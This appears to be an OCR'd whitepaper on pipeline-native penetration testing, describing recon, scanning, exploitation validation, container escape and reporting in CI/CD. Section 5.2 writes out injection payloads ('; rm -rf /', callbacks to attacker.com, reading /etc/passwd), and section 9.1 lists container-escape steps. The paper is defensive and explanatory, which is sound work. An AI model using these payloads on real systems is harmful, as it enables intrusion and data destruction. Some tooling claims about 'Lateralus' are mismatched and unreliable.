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Abstract

This paper presents a comprehensive framework for embedding penetration testing into CI/CD
pipelines. We cover reconnaissance automation, vulnerability scanning, exploitation validation,
post-exploitation analysis, container and cloud security testing, and Lateralus-based security tooling.
The pipeline-native approach transforms security testing from periodic assessments to continuous
validation integrated into the software delivery lifecycle.

1 Introduction

Pipeline-native penetration testing represents a paradigm shift from traditional post-deployment
security audits to integrated, continuous security validation within CI/CD pipelines. This paper
presents a comprehensive framework for embedding offensive security tooling directly into the
software delivery lifecycle.

Modern software delivery demands speed: organizations deploy dozens of times per day. Traditional
penetration testing, conducted quarterly or annually, cannot keep pace. Pipeline-native testing
bridges this gap by automating security assessments at every stage of delivery.

The framework described here integrates with standard CI/CD infrastructure (GitHub Actions, GitLab
Cl, Jenkins, Tekton) and leverages Lateralus-based tooling for high-performance, memory-safe
security scanning. The pipeline-native approach provides: continuous feedback, automated

remediation, and compliance evidence.

Scope of this paper: we cover reconnaissance automation, vulnerability scanning, exploitation
validation, post-exploitation analysis, reporting, and pipeline integration. Each phase is mapped to
CI/CD stages with concrete implementation guidance.

2 Threat Modeling in CI/CD

Pipeline threat modeling identifies security risks within the development and deployment process
itself. Supply chain attacks, compromised dependencies, leaked secrets, and misconfigured

infrastructure are primary concerns.

STRIDE analysis applied to pipelines: Spoofing (impersonating pipeline services), Tampering
(modifying build artifacts), Repudiation (untraceable deployments), Information Disclosure (leaked
credentials), Denial of Service (pipeline resource exhaustion), Elevation of Privilege (escaping
container boundaries).

Attack surface enumeration: source repositories, build systems, artifact registries, deployment
targets, secrets management, and pipeline orchestration APIs. Each surface requires specific
defensive controls and offensive testing strategies.
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Threat prioritization: use DREAD scoring (Damage, Reproducibility, Exploitability, Affected users,
Discoverability) to rank pipeline threats. High-priority threats receive automated testing; lower-priority

threats receive periodic manual review.

3 Reconnaissance Automation

Automated reconnaissance gathers target information without manual intervention. Pipeline stages
trigger reconnaissance on: new deployments, infrastructure changes, and scheduled intervals.

DNS enumeration: automated subdomain discovery using certificate transparency logs, DNS zone
transfers, brute-force enumeration, and passive DNS databases. Results feed into the target

inventory.

Port scanning: Nmap integration with pipeline-friendly output (XML, JSON). SYN scanning for speed,
version detection for service identification, script scanning for vulnerability hints. Scan policies: full
scan on deploy, differential scan on change.

Service fingerprinting: identify service versions, technologies, and configurations. HTTP headers,
TLS certificates, banner grabbing, and protocol-specific probes. Results populate the asset
database.

OSINT integration: automated collection from public sources: GitHub repositories (leaked secrets),
Shodan (exposed services), Certificate Transparency (new domains), and social media (employee
information).

4 Vulnerability Scanning Pipeline

Vulnerability scanning is integrated at multiple pipeline stages: pre-commit (SAST), build
(dependency scanning), staging (DAST), and production (continuous monitoring).

Static Application Security Testing (SAST): analyze source code for vulnerabilities without execution.
Tools: semgrep (pattern matching), CodeQL (semantic analysis), and custom Lateralus-based
analyzers. Integration point: pull request checks.

Software Composition Analysis (SCA): identify known vulnerabilities in dependencies. Tools:
OSV-Scanner, Trivy, Snyk. CVE database correlation. Automated: dependency update PRs,
vulnerability alerts, and license compliance checks.

Dynamic Application Security Testing (DAST): test running applications for vulnerabilities. Tools: ZAP
(web scanning), Nuclei (template-based scanning), custom fuzzing harnesses. Integration point:
staging environment after deployment.

Infrastructure as Code scanning: analyze Terraform, CloudFormation, Kubernetes manifests for
misconfigurations. Tools: Checkov, tfsec, kube-linter. Integration point: pre-deployment validation.

Page 2



Pipeline-Native Penetration Testing
5 Exploitation Validation Framework

Exploitation validation confirms that identified vulnerabilities are actually exploitable, reducing false
positives and prioritizing remediation. Automated exploitation runs in isolated environments.

Safe exploitation: exploitation validation uses: sandboxed environments (containers, VMS),
non-destructive payloads (proof-of-concept only), time-limited sessions (automatic cleanup), and

rollback capabilities.

SQL injection validation: automated payload generation for: UNION-based, blind boolean, blind
time-based, error-based, and out-of-band injection types. Validation confirms: data extraction

capability, not actual data theft.

Cross-site scripting validation: automated XSS payload injection for: reflected, stored, and
DOM-based XSS. Headless browser execution verifies payload execution. Alert-based and

data-exfiltration proof-of-concept payloads.

Authentication bypass validation: test for: default credentials, JWT manipulation (algorithm confusion,
key confusion), session fixation, and credential stuffing resistance. Automated credential rotation on
finding.

6 Network Penetration Testing

Network penetration testing validates network segmentation, firewall rules, and service security.
Pipeline-native network testing uses: ephemeral test infrastructure and automated network probes.

Network segmentation testing: verify that network boundaries enforce expected isolation. Test: can
staging reach production? Can external services reach internal databases? Automated probe

deployment validates segmentation rules.

Protocol testing: automated testing of common protocols: TLS (cipher suites, certificate validation,
protocol versions), SSH (key strength, algorithm selection), DNS (DNSSEC validation, zone transfer
blocking).

Wireless and physical layers are typically excluded from pipeline-native testing. These require
manual assessment on a separate schedule. Pipeline testing focuses on: network-accessible attack

surfaces.

Lateral movement simulation: from a compromised container, test: service discovery within the
cluster, credential reuse across services, metadata service access (cloud provider IMDS), and

network policy enforcement.

7 Web Application Testing

Web application testing is the most common pipeline-native penetration test target. Applications are

deployed to staging environments where automated testing tools exercise the full attack surface.
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Authentication testing: brute force protection, account lockout, password policy enforcement,
multi-factor authentication bypass attempts, session management (timeout, invalidation, fixation).

Authorization testing: IDOR (Insecure Direct Object Reference) detection, privilege escalation testing,
horizontal access control validation, APl endpoint authorization matrix verification.

Input validation testing: SQL injection (all variants), XSS (all variants), command injection, path
traversal, XML external entity (XXE), server-side request forgery (SSRF), template injection.

Business logic testing: automated workflows test: rate limiting, transaction integrity, race conditions,

workflow bypass, and data consistency. Business logic tests require application-specific test suites.

8 API Security Testing

API testing validates REST, GraphQL, gRPC, and WebSocket interfaces. OpenAPl/Swagger

specifications drive automated test generation. Schema validation ensures API conformance.

REST API testing: HTTP method enumeration, authentication bypass, rate limiting, injection through
parameters (query, path, header, body), mass assignment, and verbose error disclosure.

GraphQL testing: introspection query exploitation, query depth limits, batch query abuse, field-level
authorization bypass, injection through variables, and denial-of-service through expensive queries.

gRPC testing: reflection API exposure, message manipulation, authentication token bypass, service
enumeration, and protobuf deserialization vulnerabilities.

API fuzzing: generate malformed requests using: mutation-based fuzzing (modify valid requests),
generation-based fuzzing (construct from grammar), and intelligent fuzzing (learn API structure).

9 Container and Kubernetes Security

Container security testing validates: image integrity, runtime security, orchestration configuration, and
supply chain integrity. Pipeline-native testing scans at build time and runtime.

Image scanning: Trivy, Grype, and Snyk scan container images for: known CVEs in packages,
misconfigured base images, embedded secrets, and excessive permissions. Scanning gates: block

deployment of vulnerable images.

Runtime security: test container escapes, privilege escalation within containers, resource exhaustion

attacks, and inter-container communication. Falco monitors runtime behavior for anomalies.

Kubernetes configuration: test RBAC policies (over-permissive service accounts), network policies
(missing policies), pod security standards (privileged containers), and secrets management

(unencrypted secrets).

Supply chain integrity: verify image signatures (cosign/sigstore), SBOM generation and verification,
provenance attestation (SLSA), and build reproducibility checks.
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10 Cloud Infrastructure Testing

Cloud penetration testing targets: IAM misconfigurations, storage exposure, network security groups,
and service-specific vulnerabilities. Each cloud provider has specific attack patterns.

AWS testing: S3 bucket enumeration and permission testing, IAM policy analysis (overly permissive
roles), EC2 metadata service (IMDSv1 vs IMDSv2), Lambda function injection, and RDS exposure.

Azure testing: Blob storage access, Azure AD misconfiguration, managed identity abuse, Function

App injection, and Key Vault access policy testing.

GCP testing: Cloud Storage bucket permissions, IAM binding analysis, metadata server access,

Cloud Function injection, and Firestore security rules validation.

Multi-cloud testing: consistent security baselines across providers. ScoutSuite, Prowler, and
CloudSploit provide multi-cloud security auditing. Pipeline integration ensures continuous

compliance.

11 Post-Exploitation Analysis

Post-exploitation analysis determines the impact of successful exploitation. What data can be
accessed? What systems can be reached? What is the blast radius? Automated analysis quantifies

risk.

Data exfiltration simulation: after gaining access, test: can sensitive data be extracted? What
volume? Through which channels? DNS tunneling, HTTPS exfiltration, and steganography tests

validate DLP controls.

Persistence testing: can an attacker maintain access after remediation? Test: backdoor installation,
scheduled tasks, modified startup scripts, and container image poisoning.

Privilege escalation mapping: from initial foothold, enumerate escalation paths. Kernel exploits, SUID
binaries, misconfigured services, credential harvesting, and cloud metadata services.

Impact assessment: map compromised systems to business functions. Calculate: data sensitivity,
regulatory implications (GDPR, HIPAA, PCI-DSS), service availability impact, and recovery time.

12 Reporting and Metrics

Pipeline-native testing generates automated reports integrated into development workflows. Reports
target multiple audiences: developers (fix guidance), managers (risk metrics), and auditors

(compliance evidence).

Vulnerability reporting: each finding includes: severity (CVSS score), description, reproduction steps,
affected component, remediation guidance, and verification test. Reports are machine-readable
(SARIF, JSON).
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Trend metrics: track over time: total vulnerabilities, mean time to remediation, false positive rate,
coverage percentage, and security debt. Dashboards show trends per team, per service, and per
severity.

Compliance mapping: map findings to compliance frameworks: OWASP Top 10, CIS Benchmarks,
NIST CSF, SOC 2, ISO 27001. Automated evidence collection for: audit trails, control effectiveness,

and remediation timelines.

Executive reporting: high-level risk posture, trend analysis, comparison to industry benchmarks, and
recommended strategic investments. Executive reports are generated monthly from pipeline data.

13 Pipeline Integration Architecture

The integration architecture connects security tools to CI/CD infrastructure through standardized
interfaces. Event-driven architecture enables: tool orchestration, result aggregation, and automated

response.

Pipeline stages mapping: commit (secrets detection, SAST), build (SCA, image scanning), test
(DAST, API testing), deploy (infrastructure scanning, configuration validation), monitor (continuous
scanning, anomaly detection).

Tool orchestration: a central security orchestrator manages: tool execution, result normalization,
deduplication, and routing. The orchestrator provides: REST API, webhook integration, and CLI
interface.

Result aggregation: findings from multiple tools are normalized to a common format (SARIF).
Deduplication removes identical findings. Correlation links related findings across tools.

Automated response: findings trigger automated actions: create Jira tickets, block deployments,

notify Slack channels, update risk dashboards, and trigger remediation workflows.

14 Lateralus-Based Security Tooling

Lateralus provides unique advantages for security tooling: memory safety (no tool-introduced
vulnerabilities), high performance (native code speed), and concurrency (parallel scanning). Pipeline

tools benefit from fast execution and low resource usage.

Custom scanner development: Lateralus's type system encodes security properties. Vulnerability
types, severity levels, and remediation actions are represented as algebraic data types with

exhaustive pattern matching.

Network tools: Lateralus async runtime (Tokio) enables high-concurrency network scanning. TCP
connect scanning, banner grabbing, and protocol analysis run as async tasks with configurable
concurrency limits.

Fuzzing harness: Lateralus fuzzing (cargo-fuzz, libfuzzer) provides: coverage-guided fuzzing,
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structured input generation, and crash deduplication. Custom fuzzers target: parsers, deserializers,
and protocol handlers.

WASM-based scanning: compile Lateralus security tools to WebAssembly for: browser-based
testing, serverless execution (Cloudflare Workers), and sandboxed execution. WASM provides:
portability and isolation.

15 Conclusion

Pipeline-native penetration testing transforms security from a periodic gate to a continuous process.
By embedding offensive security into CI/CD pipelines, organizations achieve: faster feedback,
broader coverage, and consistent validation.

The framework presented here provides a practical roadmap for implementing pipeline-native
security. Starting with reconnaissance and scanning, progressing through exploitation validation, and
culminating in automated reporting and remediation.

Lateralus-based tooling delivers the performance and safety required for pipeline-native testing.
Memory-safe tools reduce the risk of tool-introduced vulnerabilities. Native performance ensures
testing completes within pipeline time budgets.

Future work: Al-assisted vulnerability discovery, self-healing pipelines (automated remediation), and
federated testing across organizational boundaries. The pipeline-native approach continues to evolve
with the DevSecOps movement.

2.1 Supply Chain Attack Vectors

Dependency confusion: attackers publish malicious packages with names matching internal
packages. The package manager installs the public package instead. Mitigation: namespace

scoping, registry pinning.

Typosquatting: packages with names similar to popular packages (e.g., 'reqeusts' for 'requests’).
Automated detection: Levenshtein distance analysis on new package names.

Compromised maintainer accounts: attackers gain access to package maintainer accounts and
publish malicious updates. Mitigation: two-factor authentication, code signing, reproducible builds.

Build system poisoning: modifying build scripts (build.rs, Makefile) to inject malicious code during
compilation. Code review must include build scripts. Mitigation: hermetic builds.

CI/CD pipeline attacks: compromising GitHub Actions, Jenkins plugins, or pipeline configurations.
Mitigation: signed commits, branch protection, approval gates, and ephemeral build environments.

Dependency confusion namespace attacks: internal packages without scoped namespaces can be
hijacked by registering the name on public registries. Always use organization scopes.

Malicious updates: a previously benign dependency releases a malicious update. Lockfiles pin
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versions. SCA tools detect behavioral changes. Review: changelog, diff, and maintainer history.

Binary substitution: replacing legitimate binaries with malicious versions. Mitigation: checksum

verification, binary signing, and secure distribution channels.

Prototype pollution: in JavaScript ecosystems, modifying Object.prototype through dependencies.

Lateralus's type system prevents this class of attack by design.

Compiler supply chain: backdoors in the compiler itself (Thompson attack). Mitigation: reproducible

builds, bootstrapping from trusted sources, and compiler diversity.

3.1 Subdomain Enumeration Techniques

Certificate Transparency (CT) logs: query crt.sh, Censys, and CT log aggregators for certificates

issued to *.target.com. CT logs are public and comprehensive.

DNS brute force: test common subdomain prefixes (www, mail, api, dev, staging, admin) against the
target domain. Use wordlists: SecLists, Amass built-in, custom organizational lists.

Passive DNS: historical DNS records from SecurityTrails, VirusTotal, and PassiveDNS databases.
Reveals: previously active subdomains, IP history, and DNS changes.

Recursive enumeration: discovered subdomains may reveal further subdomains. dev.target.com may
have: api.dev.target.com, db.dev.target.com. Recursive scanning expands coverage.

Virtual host discovery: multiple domains may resolve to the same IP. Test: Host header manipulation

to discover: co-hosted applications, development environments, and staging sites.

Cloud provider enumeration: cloud storage URLs follow predictable patterns. AWS:
s3.amazonaws.com/bucket. Azure: blob.core.windows.net/container. GCP:

storage.googleapis.com/bucket.

Wildcard detection: some domains resolve all subdomains to a default IP. Wildcard detection: query
a random subdomain. If it resolves, filter out the wildcard IP from results.

Zone transfer: attempt DNS zone transfer (AXFR). If permitted, returns all DNS records. Most DNS

servers deny zone transfers, but misconfigured servers may allow them.

Search engine dorking: Google dorks (site:itarget.com) reveal indexed subdomains. Bing,
DuckDuckGo, and Yandex may index different subdomains. Automated dorking tools: theHarvester.

ASN enumeration: identify the target's Autonomous System Number. Query: all IP ranges in the
ASN. Reverse DNS on IP ranges discovers: additional domains and subdomains.

4.1 SAST Implementation Details

Abstract syntax tree analysis: parse source code into AST, then apply security rules. Rules detect:

tainted data flow, unsafe API usage, and missing validation.
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Taint analysis: track data from sources (user input, network, files) to sinks (SQL queries, command
execution, HTML output). Tainted data reaching sinks without sanitization is a vulnerability.

Dataflow analysis: trace variable values through: assignments, function calls, conditionals, and loops.
Interprocedural analysis follows taint across function boundaries.

Pattern matching rules: Semgrep patterns match code structure. Example: pattern: 'exec($CMD)'
matches any command execution. Patterns are language-aware, ignoring whitespace and formatting.

Semantic analysis: CodeQL builds a relational database from source code. Queries express security

properties. Example: 'find all SQL queries that include unsanitized user input'.

Custom rules: organization-specific rules encode: coding standards, banned APIs, required security

patterns. Custom rules catch: domain-specific vulnerabilities.

False positive management. SAST tools produce false positives. Management: suppression

comments, baseline filtering (only new findings), and confidence scoring.

Incremental analysis: analyze only changed files for fast feedback on pull requests. Full analysis
runs: nightly or weekly for comprehensive coverage.

Language support: SAST tools support: Lateralus (custom analyzers), Python (bandit, semgrep),
JavaScript (eslint-security, semgrep), Java (SpotBugs, FindSecBugs), Go (gosec).

SAST pipeline integration: run SAST on every pull request. Block merge on: critical and high severity
findings. Provide: inline comments with fix suggestions.

5.1 Exploitation Environment Setup

Isolated test environments: exploitation runs in: Docker containers (lightweight), virtual machines
(stronger isolation), or cloud sandboxes (disposable). Environments mirror production configuration.

Network isolation: test environments are network-isolated from production. Outbound traffic is:
logged, filtered, and rate-limited. DNS resolution is controlled.

Data sanitization: test environments use: synthetic data (generated), anonymized data (real data with

Pll removed), or subset data (minimal representative dataset). Never use production data.

Environment provisioning: Infrastructure as Code (Terraform, Pulumi) provisions test environments.

Provisioning is: automated, reproducible, and version-controlled. Teardown is automatic after testing.

Credential management: test credentials are: unique per test run, time-limited, least-privilege, and
automatically rotated. Never reuse production credentials in test environments.

Logging and monitoring: all exploitation attempts are logged. Logs include: timestamp, source, target,
technique, payload, and result. Logs feed into the reporting pipeline.

Safety controls: automatic circuit breakers halt exploitation if: resource usage exceeds limits,
unexpected network traffic detected, or environment health checks fail.
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Reproducibility: each exploitation run is: containerized, seeded (deterministic), and logged. Replay
capability enables: verification of findings and regression testing.

Clean environment guarantee: environments are created fresh for each test run. No state leaks
between runs. Post-test verification confirms: no persistent changes.

Cost management: cloud test environments incur costs. Auto-shutdown after: test completion or
timeout. Spot instances reduce cost. Budget alerts prevent: unexpected charges.

6.1 Advanced Network Scanning

TCP SYN scanning: send SYN, receive SYN-ACK (open), RST (closed), or no response (filtered).
SYN scanning is: fast, stealthy (no full connection), and the default for Nmap.

UDP scanning: send UDP probes, receive: ICMP port unreachable (closed) or application response
(open). UDP scanning is: slow (rate limiting), unreliable (stateless protocol). Important for: DNS,
SNMP, NTP.

Service version detection: after port discovery, send protocol-specific probes. HTTP: GET /
HTTP/1.1. SSH: read banner. TLS: certificate inspection. Version info enables: CVE correlation.

OS fingerprinting: analyze TCP/IP stack behavior: initial TTL, window size, don't-fragment bit, TCP

options order. Nmap OS detection matches against a database of signatures.

Firewall evasion: fragmentation (split probes across IP fragments), decoy scanning (mix with spoofed
source IPs), slow scanning (reduce rate below detection threshold), and protocol tunneling.

IPv6 scanning: expanding attack surface. IPv6 addresses are sparse. Techniques: target known IPv6
ranges (SLAAC-derived), DNS-discovered addresses, and IPv6-specific services.

NSE scripting: Nmap Scripting Engine runs Lua scripts during scanning. Categories: auth, brute,
default, discovery, exploit, intrusive, malware, safe, version, vuln.

Scan optimization: tune timing (-TO to -T5), parallelism (--min-parallelism, --max-parallelism), and
retries (--max-retries). Pipeline scans use: aggressive timing with target-appropriate limits.

Output integration: Nmap XML output is parsed by pipeline tools. Automated: port comparison (new
open ports), service change detection, and vulnerability correlation.

Distributed scanning: split target ranges across multiple scanner instances. Aggregation layer

combines results. Distributed scanning reduces: scan duration for large target ranges.

7.1 OWASP Top 10 Testing

AO01 Broken Access Control: test for: IDOR, privilege escalation, missing function-level access

control, CORS misconfiguration, and forced browsing to unauthorized pages.

AO02 Cryptographic Failures: test for: weak TLS (SSLv3, TLS 1.0, weak ciphers), missing encryption

at rest, hardcoded keys, weak password hashing (MD5, SHAL), and certificate issues.
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A03 Injection: test for: SQL injection, NoSQL injection, command injection, LDAP injection, XPath

injection, and template injection across all input vectors.

AO04 Insecure Design: review: threat models, secure design patterns, and abuse case testing.
Automated: business logic testing, rate limiting verification, and input validation.

AO05 Security Misconfiguration: test for: default credentials, unnecessary features enabled, directory
listing, verbose error messages, missing security headers, and outdated software.

A06 Vulnerable Components: SCA scanning identifies: known CVEs in dependencies. Test for:

outdated frameworks, unpatched libraries, and end-of-life software components.

AO07 Authentication Failures: test for: weak passwords, credential stuffing, missing MFA, session

fixation, and session hijacking. Automated: password policy verification.

AO08 Software and Data Integrity Failures: test for: unsigned updates, CI/CD pipeline integrity,
deserialization vulnerabilities, and code/data integrity verification.

AQ09 Security Logging Failures: verify: authentication events logged, access control failures logged,
input validation failures logged, and logs are tamper-resistant.

Al10 Server-Side Request Forgery: test for: SSRF through URL parameters, file inclusion, and
webhook endpoints. Verify: allowlisting, network segmentation, and metadata service protection.

8.1 API Authentication Testing

JWT testing: algorithm confusion (change RS256 to HS256), none algorithm (remove signature),
weak signing keys (brute force), expired token acceptance, and claim manipulation.

OAuth testing: authorization code injection, redirect_uri manipulation, scope escalation, token
leakage through Referer, PKCE bypass, and implicit flow vulnerabilities.

API key testing: key enumeration, key in URL (logged in access logs), missing key rotation, overly
permissive key scope, and key leakage in client-side code.

Session management: session fixation (pre-set session ID), session hijacking (steal session cookie),

session riding (CSRF), missing session timeout, and concurrent session limits.

Rate limiting: verify rate limits on: authentication endpoints, password reset, account creation, and
API calls. Test: header-based bypass, IP rotation, and distributed brute force.

CORS testing: test for: wildcard origin (Access-Control-Allow-Origin: *), null origin acceptance,
credential inclusion with wildcard, and pre-flight bypass.

Certificate pinning: mobile and thick client APIs may use certificate pinning. Test: self-signed
certificate acceptance, expired certificate acceptance, and wrong hostname acceptance.

Mutual TLS: verify: client certificate validation, certificate revocation checking, certificate
attribute-based authorization, and certificate chain validation.

Page 11



Pipeline-Native Penetration Testing

Token refresh: test: refresh token rotation, refresh token binding, refresh token expiration, and
refresh token revocation on password change.

GraphQL authentication: verify: per-field authorization, per-resolver authentication, subscription
authentication, and introspection access control.

9.1 Container Escape Techniques

Privileged container escape: --privileged flag grants all capabilities. Escape: mount host filesystem
(mount /dev/sdal /mnt), access host devices, and load kernel modules.

Capability abuse: specific capabilities enable escape. CAP_SYS ADMIN: mount filesystems.
CAP_NET_ADMIN: network manipulation. CAP_SYS_ PTRACE: process injection.

Kernel exploit: container shares the host kernel. Kernel vulnerabilities (CVE-2022-0185,
CVE-2022-0847 DirtyPipe) enable: container escape. Mitigation: kernel updates, seccomp profiles.

Docker socket escape: if /var/run/docker.sock is mounted in the container, the attacker can: create

privileged containers, mount host filesystem, and execute commands on the host.

Metadata service access: cloud metadata services (169.254.169.254) expose: credentials,
configuration, and secrets. Container network policies must block metadata access.

Volume mount exploitation: writable host directory mounts enable: cron job injection, SSH key
injection, and systemd service installation. Minimize host mounts; use read-only when possible.

Container breakout detection: monitor for: unusual system calls (mount, pivot_root), network access
to host IPs, filesystem access outside container root, and process namespace escape.

Kubernetes pod escape: compromised pods may access: service account tokens
(automountServiceAccountToken), cluster DNS (service discovery), and Kubernetes API server.

Runtime protection: Falco, Sysdig Secure, and Aqua Runtime monitor container behavior. Rules
detect: file system modification, network connections, process execution, and capability usage.

Hardening: drop all capabilities (--cap-drop ALL), add only needed capabilities, use read-only root
filesystem, run as non-root, and apply seccomp profiles.

10.1 IAM Misconfiguration Testing

Overly permissive policies: test for: wildcard actions (Action: *), wildcard resources (Resource: *),

and missing condition constraints. Use: IAM Access Analyzer, Policy Simulator.

Role assumption chains: test for: role chaining (assume role A, which can assume role B). Complex

chains may grant unexpected permissions. Map: the full role assumption graph.

Service-linked roles: some AWS services create roles automatically. Test: can service-linked roles be
abused for privilege escalation? Are permissions appropriately scoped?
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Cross-account access: test for: overly permissive trust policies that allow external accounts to
assume roles. Verify: external ID requirements, MFA requirements, and condition constraints.

Credential exposure: test for: long-lived access keys (prefer: IAM roles with temporary credentials),
unrotated keys, and credentials in: environment variables, config files, and source code.

Permission boundaries: verify that permission boundaries are: applied to all IAM users and roles,
appropriately restrictive, and not bypassable through: service-linked roles or resource policies.

Resource policies: S3 bucket policies, SQS queue policies, and KMS key policies can grant access

independently of IAM policies. Test: resource policy interactions with IAM policies.

CloudTrail logging: verify that all IAM actions are logged. Test: can logging be disabled? Are logs

protected from modification? Is log analysis automated?

Organizations and SCPs: Service Control Policies restrict permissions at the organizational unit level.
Test: SCP effectiveness, SCP bypass through: delegated administration or trusted services.

Least privilege analysis: compare used permissions to granted permissions. Tools: IAM Access
Analyzer, CloudTracker, Prowler. Unused permissions should be: removed or reduced.

11.1 Automated Impact Classification

Data classification: automatically classify accessed data by: sensitivity level (public, internal,
confidential, restricted), regulatory category (PII, PHI, PCI), and business impact.

Blast radius calculation: from the compromised system, calculate: number of connected systems,
data volume accessible, user accounts affected, and services impacted.

CVSS impact scoring: calculate CVSS environmental scores using: asset criticality, data sensitivity,
and compensating controls. Automated CVSS calculation provides: consistent severity.

Business impact mapping: map technical findings to business processes. Database compromise
affects: transaction processing (critical), reporting (moderate), and audit trail (high).

Regulatory impact assessment: automatically determine: GDPR notification requirements (72 hours
for personal data breach), PCI-DSS compliance impact, HIPAA breach rules, and SOX implications.

Recovery time estimation: estimate: time to patch, time to rotate credentials, time to rebuild

infrastructure, and time to verify remediation. Recovery time informs: remediation priority.

Lateral movement scoring: score the ease of lateral movement from the compromised system.

Factors: network connectivity, shared credentials, trust relationships, and service accounts.

Historical comparison: compare current impact to historical baseline. Increasing blast radius
indicates: growing risk. Decreasing blast radius indicates: improving security posture.

Automated triage: combine: severity, exploitability, blast radius, and business impact into a single
priority score. Route high-priority findings to: incident response team.
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Continuous reassessment: as the environment changes, impact classifications are recalculated. New

connections, new data stores, and new services alter the blast radius.

12.1 SARIF Report Format

SARIF (Static Analysis Results Interchange Format) is the standard for security tool output. Version
2.1.0 is widely supported. SARIF provides: tool info, results, code flows.

SARIF structure: runs[] contains tool invocations. Each run has: tool (name, version), results|]
(findings), and artifacts[] (scanned files). Results reference: rules[] (rule metadata).

Result properties: ruleld (uniqgue rule identifier), level (error, warning, note), message
(human-readable description), locations[] (file, line, column), and fixes[] (suggested repairs).

Code flow: codeFlows[] describes the path from source to sink. Each thread flow step has: location,
message, and importance. Code flows enable: understanding tainted data paths.

SARIF viewers: GitHub Advanced Security, VS Code SARIF Viewer, Azure DevOps. Native

rendering of: results, code flows, and fix suggestions. Integration with: issue trackers.

SARIF aggregation: multiple SARIF files from different tools are merged. Deduplication removes:
identical findings from different tools. Correlation links: related findings.

Custom properties: SARIF allows custom property bags for: organizational metadata, risk scores,
compliance mappings, and remediation deadlines. Custom properties extend the standard.

SARIF validation: jsonschema validates SARIF files against the schema. Invalid SARIF is rejected
by: viewers, aggregators, and pipeline gates. Validation ensures: data quality.

Baseline comparison: SARIF allows baseline comparison. New findings are: flagged. Fixed findings
are: tracked. Unchanged findings are: suppressed. Baselines prevent: alert fatigue.

SARIF in CI/CD: upload SARIF to GitHub Code Scanning, Azure DevOps, or custom dashboards.
Pipeline gates use: SARIF severity counts to block or allow deployments.

13.1 GitHub Actions Integration

Workflow triggers: on push, pull_request, schedule (cron), and workflow_dispatch (manual). Security
scans run on: pull request (fast), push to main (comprehensive), schedule (full).

Action marketplace: security actions include: trivy-action (container scanning), codeql-action (SAST),

truffleHog (secret detection), and nuclei-action (DAST).

Job matrix: run security scans across: multiple targets, multiple tools, and multiple configurations in

parallel. Matrix strategy reduces: total pipeline duration.

Secrets management: GitHub Secrets stores: APl keys, credentials, and tokens. Secrets are:
masked in logs, not exposed in forks, and accessible only to: specified environments.
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Artifact upload: actions/upload-artifact stores: scan reports, SARIF files, and evidence. Artifacts are:
retained for configurable periods and downloadable from the workflow run.

Environment protection: GitHub Environments provide: approval gates, wait timers, and deployment
concurrency limits. Security gates: require manual approval for production deployment.

Reusable workflows: .github/workflows/security-scan.yml is called by: other workflows. Reusable
workflows standardize: security scanning across repositories.

Self-hosted runners: for scanning internal infrastructure, self-hosted runners run inside: the corporate

network. Security: runners should be ephemeral, isolated, and monitored.

OIDC  federation: GitHub  OIDC  tokens replace: long-lived cloud credentials.

aws-actions/configure-aws-credentials uses: OIDC for secure, short-lived AWS access.

Dependency review: GitHub Dependency Review action blocks: pull requests that introduce known
vulnerabilities. Runs on: pull request, analyzes: dependency diff.

14.1 Lateralus Network Scanner Implementation

Architecture: async main loop spawns: discovery tasks, scanning tasks, and reporting tasks. Tokio
runtime with: work-stealing scheduler, configurable thread pool size.

Target specification: CIDR ranges, domain names, and IP lists. Target parser validates: input format
and expands ranges. Target iterator yields: individual addresses lazily.

Connection management: connection pool limits concurrent connections. Semaphore controls: max
connections per target, max total connections. Backoff on: connection failures.

Protocol detection: send probe bytes, analyze response. HTTP detection: look for HTTP/1.1 or
HTTP/2 preface. TLS detection: attempt TLS handshake. SSH: read version banner.

Result types: enum ScanResult { Open(Portinfo), Closed, Filtered, Error(ScanError) }. Portinfo
includes: port, protocol, service, version, banner. Type-safe result handling.

Output formats: JSON (machine processing), table (human reading), SARIF (security tooling), and
CSV (spreadsheet import). Output format is: configurable per scan.

Performance: scan 65535 ports on a single target in: under 5 seconds with SYN scan. Batch
scanning: 1000 targets in: under 60 seconds with common port list.

Error handling: network errors (timeout, reset, unreachable) are: logged, categorized, and retried
(configurable). Scan continues on: individual target failures.

Plugin system: custom protocol detectors and vulnerability checks load as: dynamic libraries or
WASM modules. Plugin interface: fn check(target: &Target, port: ul6) -> Vec[Finding].

Integration: CLI tool, library crate, and REST API. Pipeline integration via: CLI with JSON output
piped to result aggregator. Library integration for: custom scanning tools.
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3.2 Port Scan Strategies

Common port scan: test the 1000 most common ports (Nmap default). Covers: 93%% of open ports

in typical environments. Fast: completes in seconds per target.

Full port scan: test all 65535 TCP ports. Discovers: services on non-standard ports. Slower: minutes

per target. Recommended: weekly or on infrastructure changes.

Top 100 scan: ultra-fast scan of the most common 100 ports. Used for: initial reconnaissance, large
target ranges, and rapid assessment. Covers: 80%% of common services.

Protocol-specific scan: target ports by service (HTTP: 80, 443, 8080, 8443; database: 3306, 5432,
27017, 6379; SSH: 22). Protocol-specific scans are: focused and efficient.

Differential scanning: compare current scan to previous baseline. New open ports are: highlighted.
Closed ports are: noted. Changes trigger: investigation and alerting.

Banner grabbing: after port discovery, send protocol-appropriate probes and record responses.
HTTP banners reveal: server software, version, and configuration.

TLS scanning: test TLS on discovered HTTPS ports. Check: protocol versions (TLS 1.2, 1.3), cipher
suites, certificate validity, and known vulnerabilities (Heartbleed, POODLE).

Rate limiting consideration: scan rate must not: disrupt target services, trigger DOS protection, or

violate network policies. Adaptive rate limiting adjusts: based on response times.

Scan scheduling: pipeline scans run on: deployment (changed services), schedule (weekly full scan),
and trigger (new infrastructure). Scheduling balances: coverage and resource usage.

Result storage: scan results are stored in: time-series database (trending), document store (detailed
results), and SARIF (tool integration). Historical data enables: trend analysis.

5.2 Command Injection Validation

Command injection identification: user input is concatenated into OS commands. Vulnerable pattern:
exec('ping ' + user_input). Injection: user_input ='; rm -rf /'. Detection: time-based and output-based.

Blind command injection: no output is returned. Detection techniques: time delay (sleep 5), DNS
callback (nslookup attacker.com), and HTTP callback (curl http://attacker.com).

Operating system detection: injection payloads differ by OS. Linux: id, whoami, cat /etc/passwd.
Windows: whoami, ipconfig, type C:\windows\win.ini. Cross-platform: use both.

Bypass techniques: command separators (; | || && and newline), encoding (URL encoding, base64),
and quoting bypass (backticks, $() command substitution). Test multiple bypass methods.

Argument injection: even without shell metacharacter injection, arguments may be injected. Example:
curl --output /tmp/malicious user_controlled_url. Test: argument boundaries.

Environment variable injection: if user input sets environment variables, attackers may inject: PATH
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manipulation, LD_PRELOAD injection, and shell function overrides.

